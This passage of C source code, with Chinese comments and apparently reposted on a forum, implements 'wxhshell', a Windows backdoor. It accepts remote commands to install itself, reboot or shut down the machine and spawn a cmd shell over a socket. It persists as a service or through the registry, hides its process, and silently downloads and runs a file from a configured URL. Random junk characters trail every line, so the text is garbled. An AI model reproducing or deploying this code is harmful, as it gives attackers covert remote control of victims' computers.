  O]w&uim  
  // 帮助 6k"Wy3/  
  case '?': { t)g1ICt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k<=.1cFh  
    break; AM##:4   
  } ^mFuZ~g;?  
  // 安装 +^<CJNDL9  
  case 'i': { hF+YZU]rT  
    if(Install()) \l_RyMi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .rSeJZzuj  
    else ~CldqXeI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Y y+%  
    break; B:ddlxT $  
    } h0 Acpd2  
  // 卸载 eJE?H]  
  case 'r': { 2f`u?T  
    if(Uninstall()) GB\.msls  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,!kqEIp%  
    else nlH H}K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jnt0,y A  
    break; NWwfNb>  
    } 65N;PH59D  
  // 显示 wxhshell 所在路径 bjPI:j*XU  
  case 'p': { - ,q&Zm  
    char svExeFile[MAX_PATH]; s \#kqw\x  
    strcpy(svExeFile,"\n\r"); Z i$a6  
      strcat(svExeFile,ExeFile); *Au4q<   
        send(wsh,svExeFile,strlen(svExeFile),0); ;M8N%  
    break; W5$jIQ}Bw  
    } Z4}Yw{=f  
  // 重启 &of%;>$>M  
  case 'b': { Mp?Ev.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m^U\l9LE  
    if(Boot(REBOOT)) )8ctNpQt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9/D+6hJ]:  
    else { go6Hb>  
    closesocket(wsh); y&lj+j  
    ExitThread(0); P\iw[m7O  
    } P^v`5v  
    break; .,l ?z  
    } =Z2U  
  // 关机 en!cu_]t  
  case 'd': { 6 )0$UW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WXNJc  
    if(Boot(SHUTDOWN)) nfy"M),et  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Z( 6..&  
    else { -}2q-  
    closesocket(wsh); CeR4's7  
    ExitThread(0); #E5#{bra  
    } \`{ YqOT  
    break; >~TLgq*  
    } XIJ>\ RF  
  // 获取shell ]. 1[H~5N  
  case 's': { + R])u5c'  
    CmdShell(wsh); 4xT(Uj  
    closesocket(wsh); PQ@(p%   
    ExitThread(0); dQ`ch~HVUW  
    break; Il'+^u_ <  
  } /,2Em>  
  // 退出 $&n!j'C:  
  case 'x': { |6`yE]3 -(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M=26@ n  
    CloseIt(wsh); ," :ADO-  
    break; eXnMS!g%Z  
    } 2aW&d=!ZV  
  // 离开 S`K8e^]  
  case 'q': { =B*,S#r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jFw?Ky2  
    closesocket(wsh); M ,e_=aq  
    WSACleanup(); 1P3^il7  
    exit(1); W: cOzJ  
    break; i4'?/UPc  
        } .2!'6;K  
  } /V46:`V  
  } O9=vz%  
8NPt[*  
  // 提示信息 Z?G-~3]e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n8A*Y3~R  
} +_06{7@h  
  } B2 Tp;)  
1A< O Z>  
  return; z]=A3!H/Y  
} PS`v3|d}}}  
(Pin9^`ALc  
// shell模块句柄 "%<Oadz ap  
int CmdShell(SOCKET sock) GasIOPzK  
{ d;:+Xd`  
STARTUPINFO si; b0tr)>d  
ZeroMemory(&si,sizeof(si)); ;-n+=@]7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~ ${. sD\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KxGK`'E'r  
PROCESS_INFORMATION ProcessInfo; n_)d4d zl  
char cmdline[]="cmd";  -"\z|OQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Uj0DX >I  
  return 0; 9FX'Uws  
} 4ZQX YwfC|  
/tJJ2 =%l  
// 自身启动模式 Ca*^U-  
int StartFromService(void) #`<|W5  
{ QlSZr[^v  
typedef struct 9W 5vp:G  
{ E{_p&FF  
  DWORD ExitStatus; jv5p_v4%O  
  DWORD PebBaseAddress; u(\b1h n  
  DWORD AffinityMask; #8%Lc3n  
  DWORD BasePriority; 5bH@R@3m  
  ULONG UniqueProcessId; Q^DKKp  
  ULONG InheritedFromUniqueProcessId; c3`X19'%fM  
}   PROCESS_BASIC_INFORMATION; zRD{"uqi  
 z4&|~-m,  
PROCNTQSIP NtQueryInformationProcess; 1 BAnf9  
y2TJDb1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PC7U&*x@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9%$4Ux*q  
"So+  
  HANDLE             hProcess; `Q, moz  
  PROCESS_BASIC_INFORMATION pbi; Qi w "x,  
ds4ERe /  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iU~oPp[e  
  if(NULL == hInst ) return 0; Zc{at}{  
{O]Cj~}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .?<,J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -wW%+wH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U5Q `r7  
7$\;G82_  
  if (!NtQueryInformationProcess) return 0; wX<)Fj'  
bv4lgRE6Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cmZ39pjBJ  
  if(!hProcess) return 0; ^ bexXYh  
W.HM!HQp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,+oQ 5c(f  
Hb#8?{  
  CloseHandle(hProcess); wx>BNlT@?  
5WP)na6"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \6T&gX  
if(hProcess==NULL) return 0; H8mmmt6g  
C^2Tql  
HMODULE hMod; \.POb5]p0  
char procName[255]; /U`"Xx  
unsigned long cbNeeded; $eCxpb..  
4Bd[r7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *FQrmdwb]L  
D+9xI  
  CloseHandle(hProcess); }(hx$G^M  
2x"&8Bg3  
if(strstr(procName,"services")) return 1; // 以服务启动 4@.qM6 \\q  
Pn[-{nz  
  return 0; // 注册表启动 T5=3 jPQ  
} @v2_gjRe  
X<OwB-N  
// 主模块 lOCMKaCD  
int StartWxhshell(LPSTR lpCmdLine) 'hf#Q9W5  
{ l <Tkg9  
  SOCKET wsl; =d!3_IZ  
BOOL val=TRUE; -L NJ*?b  
  int port=0; ?.LS _e_0  
  struct sockaddr_in door; .Lr;{B  
:tl* >d~  
  if(wscfg.ws_autoins) Install(); P bj&l0C  
D2#3fM6  
port=atoi(lpCmdLine); &_x:+{06  
^{T]sv  
if(port<=0) port=wscfg.ws_port; }:])1!a  
;/XWX$G@  
  WSADATA data; "@ xI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S4n\<+dR<  
`%ZM(9T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2TXrVaM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y^M3m' d?  
  door.sin_family = AF_INET; +4Aj/$%[q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N<zD<q  
  door.sin_port = htons(port); *Ew`Fm H  
(oBvpFP33  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ': 87.8$  
closesocket(wsl); h#dp_#  
return 1; g=0`^APql  
} IE+{W~y\  
V`fp%7W  
  if(listen(wsl,2) == INVALID_SOCKET) { }xk85*V  
closesocket(wsl);  _/;vsQB  
return 1; =2F;'T\6  
} zVKbM3(^  
  Wxhshell(wsl); *P7 H=Yf&  
  WSACleanup(); h64<F3}  
!i,Eo-[Z  
return 0; vO`~rUA  
v-B{7 ~=#Z  
} mSm:>hBd  
8oK*NB29  
// 以NT服务方式启动 r7+"i9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F0t-b%w,  
{ I<L  
DWORD   status = 0; Y``50{7  
  DWORD   specificError = 0xfffffff; xAbx.\  
o%;R4 s,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H*51GxK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !'8.qs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R}_B\#Q  
  serviceStatus.dwWin32ExitCode     = 0;  Sg  
  serviceStatus.dwServiceSpecificExitCode = 0; : E[\1  
  serviceStatus.dwCheckPoint       = 0; BCMQ^hP}t  
  serviceStatus.dwWaitHint       = 0; |J-Osi  
eS-akx^@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X [IVK~D}z  
  if (hServiceStatusHandle==0) return; .)59*'0  
,P ~jO  
status = GetLastError(); 'i+j;.  
  if (status!=NO_ERROR) i=T!4'Zu  
{ Tsg;i;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .;}vp*  
    serviceStatus.dwCheckPoint       = 0;  UCV1{  
    serviceStatus.dwWaitHint       = 0; !0!m |^c5  
    serviceStatus.dwWin32ExitCode     = status; $ha,DlN  
    serviceStatus.dwServiceSpecificExitCode = specificError;  vX1 8 ]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B6ee\23  
    return; C$WUg<kcK'  
  } r&+8\/{  
S9RH&/^H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yhm6%  
  serviceStatus.dwCheckPoint       = 0; znnnqR0us  
  serviceStatus.dwWaitHint       = 0; 0h/bC)z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =\~<##sRJ  
} gr1NcHu  
#0$fZ  
// 处理NT服务事件,比如:启动、停止 +lC?Vpi^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hhWIwR  
{ mO<1&{qMZ  
switch(fdwControl) y/i{6P2`,D  
{  B0 E`C  
case SERVICE_CONTROL_STOP: c(Ws3  
  serviceStatus.dwWin32ExitCode = 0; ?, B4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K Q^CiX  
  serviceStatus.dwCheckPoint   = 0; 3Gi^TXE]  
  serviceStatus.dwWaitHint     = 0; =sZ58xA  
  { )hG4,0hv&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .ni<'  
  } =EFCd=i  
  return; v}\4/u  
case SERVICE_CONTROL_PAUSE: _4,/uG|a O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tE'^O< K  
  break; DpQ\q;  
case SERVICE_CONTROL_CONTINUE: =T!eyGE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 59Lc-JJ  
  break; p{|!LcSU$2  
case SERVICE_CONTROL_INTERROGATE: W_.WMbT  
  break; %9vl  
}; DwmK?5p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sg`   
} (yrN-M4~t  
 )OHGg  
// 标准应用程序主函数 #{_iNra9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iq^F?$gFk  
{ }TQa<;Q  
|P0!dt7sQ  
// 获取操作系统版本 0\zY?UUww  
OsIsNt=GetOsVer(); )DB\du   
GetModuleFileName(NULL,ExeFile,MAX_PATH); BTc }Kfae  
9*Q6/?v  
  // 从命令行安装 9$k0  
  if(strpbrk(lpCmdLine,"iI")) Install(); )_n=it$  
&cGa~#-u  
  // 下载执行文件 |PtfG2Ty?  
if(wscfg.ws_downexe) { %lq[,6?>5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [s4|+  
  WinExec(wscfg.ws_filenam,SW_HIDE); tn{YIp   
} :a/l9 m(  
O NVhB  
if(!OsIsNt) { y%Rq6P=4Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ie4\d2tQ;  
HideProc(); `%A vn<  
StartWxhshell(lpCmdLine); ]A%]W^G  
} fn#qcZv?  
else mUj_V#v  
  if(StartFromService()) t"JE+G  
  // 以服务方式启动 "7q!u,u  
  StartServiceCtrlDispatcher(DispatchTable); F[(ocxQZ3  
else E)%D LZ  
  // 普通方式启动 n&l(aRoyx  
  StartWxhshell(lpCmdLine); ?wP/l  
`G0k)eW  
return 0; Um^4[rl:#g  
}
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只看该作者 1 发表于: 2006-10-10
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